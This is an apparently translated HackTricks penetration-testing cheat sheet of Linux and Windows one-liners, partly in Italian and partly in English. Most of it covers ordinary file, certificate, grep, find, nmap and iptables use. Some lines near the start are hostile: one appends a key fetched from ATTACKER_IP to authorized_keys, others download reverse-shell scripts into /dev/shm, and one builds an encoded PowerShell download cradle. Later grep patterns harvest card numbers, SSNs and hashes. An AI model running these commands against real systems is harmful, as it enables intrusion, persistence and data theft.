.. | ||
bypass-bash-restrictions.md | ||
README.md |
Comandi utili di Linux
Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository di HackTricks e HackTricks Cloud su GitHub.
Bash comuni
#Exfiltration using Base64
base64 -w 0 file
#Get HexDump without new lines
xxd -p boot12.bin | tr -d '\n'
#Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
#Echo without new line and Hex
echo -n -e
#Count
wc -l <file> #Lines
wc -c #Chars
#Sort
sort -nr #Sort by number and then reverse
cat file | sort | uniq #Sort and delete duplicates
#Replace in file
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
#Download in RAM
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
#Files used by network processes
lsof #Open files belonging to any process
lsof -p 3 #Open files used by the process
lsof -i #Files used by networks processes
lsof -i 4 #Files used by network IPv4 processes
lsof -i 6 #Files used by network IPv6 processes
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
lsof +D /lib #Processes using files inside the indicated dir
lsof -i :80 #Files uses by networks processes
fuser -nv tcp 80
#Decompress
tar -xvzf /path/to/yourfile.tgz
tar -xvjf /path/to/yourfile.tbz
bzip2 -d /path/to/yourfile.bz2
tar jxf file.tar.bz2
gunzip /path/to/yourfile.gz
unzip file.zip
7z -x file.7z
sudo apt-get install xz-utils; unxz file.xz
#Add new user
useradd -p 'openssl passwd -1 <Password>' hacker
#Clipboard
xclip -sel c < cat file.txt
#HTTP servers
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S $ip:80
#Curl
#json data
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro basati sugli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Bash per Windows
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
Greps
Grep è uno strumento molto potente per cercare testo all'interno di file o output di comandi. Di seguito sono riportati alcuni esempi di come utilizzare grep:
grep parola file.txt
: cerca la parola nel file.txt e restituisce tutte le righe che la contengono.grep -i parola file.txt
: cerca la parola nel file.txt, ignorando la differenza tra maiuscole e minuscole.grep -r parola cartella/
: cerca la parola all'interno di tutti i file nella cartella e nelle sue sottocartelle.grep -v parola file.txt
: cerca tutte le righe che non contengono la parola nel file.txt.grep -n parola file.txt
: cerca la parola nel file.txt e restituisce anche il numero di riga corrispondente.grep -E "parola1|parola2" file.txt
: cerca la parola1 o la parola2 nel file.txt.grep -A 3 parola file.txt
: cerca la parola nel file.txt e restituisce anche le 3 righe successive.grep -B 2 parola file.txt
: cerca la parola nel file.txt e restituisce anche le 2 righe precedenti.grep -C 2 parola file.txt
: cerca la parola nel file.txt e restituisce anche le 2 righe precedenti e le 2 righe successive.
Questi sono solo alcuni esempi di come utilizzare grep. Esistono molte altre opzioni e combinazioni possibili per adattarsi alle tue esigenze specifiche.
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
Trova
The find
command is used to search for files and directories in a specified location. It can be very useful for finding specific files based on different criteria such as name, size, type, and modification time.
Syntax
find [path] [expression]
[path]
: Specifies the starting directory for the search. If not specified, the search will start from the current directory.[expression]
: Specifies the search criteria. This can include options, tests, and actions.
Examples
- Search for a file by name:
find /home -name myfile.txt
This command will search for a file named myfile.txt
in the /home
directory and its subdirectories.
- Search for files by extension:
find /var/log -name "*.log"
This command will search for files with the .log
extension in the /var/log
directory and its subdirectories.
- Search for files by size:
find /tmp -size +1M
This command will search for files larger than 1 megabyte in the /tmp
directory and its subdirectories.
- Search for files by type:
find /usr/bin -type f
This command will search for regular files in the /usr/bin
directory and its subdirectories.
- Search for files modified within a specific time range:
find /etc -mtime -7
This command will search for files modified within the last 7 days in the /etc
directory and its subdirectories.
Conclusion
The find
command is a powerful tool for searching files and directories in Linux. By using different options and tests, you can narrow down your search and find exactly what you're looking for.
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
Aiuto per la ricerca di Nmap
Nmap è uno strumento di scansione di rete molto potente e versatile. Può essere utilizzato per eseguire una varietà di attività di scansione, come la scoperta di host, la scansione delle porte e l'identificazione dei servizi in esecuzione su un host.
Di seguito sono riportati alcuni comandi utili per la ricerca con Nmap:
nmap -sn <indirizzo IP>
: esegue una scansione di tipo ping per verificare se un host è raggiungibile.nmap -p <porta> <indirizzo IP>
: esegue una scansione delle porte specificate su un host.nmap -sV <indirizzo IP>
: identifica i servizi in esecuzione su un host.nmap -A <indirizzo IP>
: esegue una scansione completa dell'host, inclusa l'identificazione dei servizi, la rilevazione del sistema operativo e altro ancora.nmap -O <indirizzo IP>
: tenta di identificare il sistema operativo in esecuzione su un host.nmap -T4 <indirizzo IP>
: imposta il livello di intensità della scansione su "Aggressivo" per accelerare il processo di scansione.nmap -v <indirizzo IP>
: esegue la scansione in modalità verbosa, mostrando informazioni dettagliate durante il processo di scansione.
Questi sono solo alcuni dei comandi più comuni utilizzati con Nmap. Per ulteriori informazioni e opzioni, consulta la documentazione ufficiale di Nmap.
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
Bash
Bash è una shell di comando comune utilizzata nei sistemi operativi Linux e Unix. È possibile utilizzare Bash per eseguire comandi, scrivere script e automatizzare le attività di sistema. Di seguito sono riportati alcuni comandi utili di Bash:
cd [directory]
: cambia la directory corrente nel percorso specificato.ls
: elenca i file e le directory nella directory corrente.pwd
: visualizza il percorso della directory corrente.mkdir [directory]
: crea una nuova directory con il nome specificato.rm [file]
: rimuove il file specificato.cp [file1] [file2]
: copia il file1 nel file2.mv [file1] [file2]
: sposta o rinomina il file1 nel file2.cat [file]
: visualizza il contenuto del file.grep [pattern] [file]
: cerca il pattern nel file e visualizza le corrispondenze.chmod [permissions] [file]
: imposta i permessi del file.chown [user] [file]
: cambia il proprietario del file.chgrp [group] [file]
: cambia il gruppo del file.sudo [command]
: esegue il comando con i privilegi di amministratore.history
: visualizza la cronologia dei comandi eseguiti.man [command]
: visualizza il manuale del comando specificato.exit
: esce dalla shell di Bash.
Questi sono solo alcuni dei comandi di base di Bash. Bash offre molte altre funzionalità e comandi avanzati che possono essere utili durante lo sviluppo e l'amministrazione di un sistema Linux.
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
Iptables
Iptables è un potente firewall basato su regole per i sistemi Linux. Viene utilizzato per filtrare e gestire il traffico di rete in entrata e in uscita. Iptables può essere utilizzato per proteggere il sistema da attacchi esterni e per configurare il routing del traffico di rete.
Comandi utili
Di seguito sono riportati alcuni comandi utili per lavorare con iptables:
iptables -L
: visualizza le regole correnti del firewall.iptables -F
: elimina tutte le regole correnti del firewall.iptables -A <chain> -p <protocol> --dport <port> -j <action>
: aggiunge una nuova regola al firewall. È possibile specificare la catena (chain
), il protocollo (protocol
), la porta di destinazione (dport
) e l'azione da intraprendere (action
).iptables -D <chain> <rule_number>
: elimina una regola specifica dal firewall. È necessario specificare la catena (chain
) e il numero della regola (rule_number
).iptables-save > <file>
: salva le regole correnti del firewall in un file specificato.iptables-restore < <file>
: ripristina le regole del firewall da un file specificato.
Esempi di utilizzo
Ecco alcuni esempi di utilizzo di iptables:
- Bloccare tutto il traffico in entrata e in uscita:
iptables -P INPUT DROP
eiptables -P OUTPUT DROP
. - Consentire il traffico in entrata sulla porta 80 (HTTP):
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
. - Consentire il traffico in uscita sulla porta 443 (HTTPS):
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
. - Consentire il traffico in entrata da un indirizzo IP specifico:
iptables -A INPUT -s <ip_address> -j ACCEPT
. - Bloccare il traffico in entrata da un indirizzo IP specifico:
iptables -A INPUT -s <ip_address> -j DROP
.
Questi sono solo alcuni esempi di come utilizzare iptables per configurare il firewall del tuo sistema Linux. È importante comprendere le diverse opzioni e regole disponibili per proteggere efficacemente il tuo sistema da potenziali minacce di rete.
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository di HackTricks e HackTricks Cloud su GitHub.
Usa Trickest per creare e automatizzare flussi di lavoro con gli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}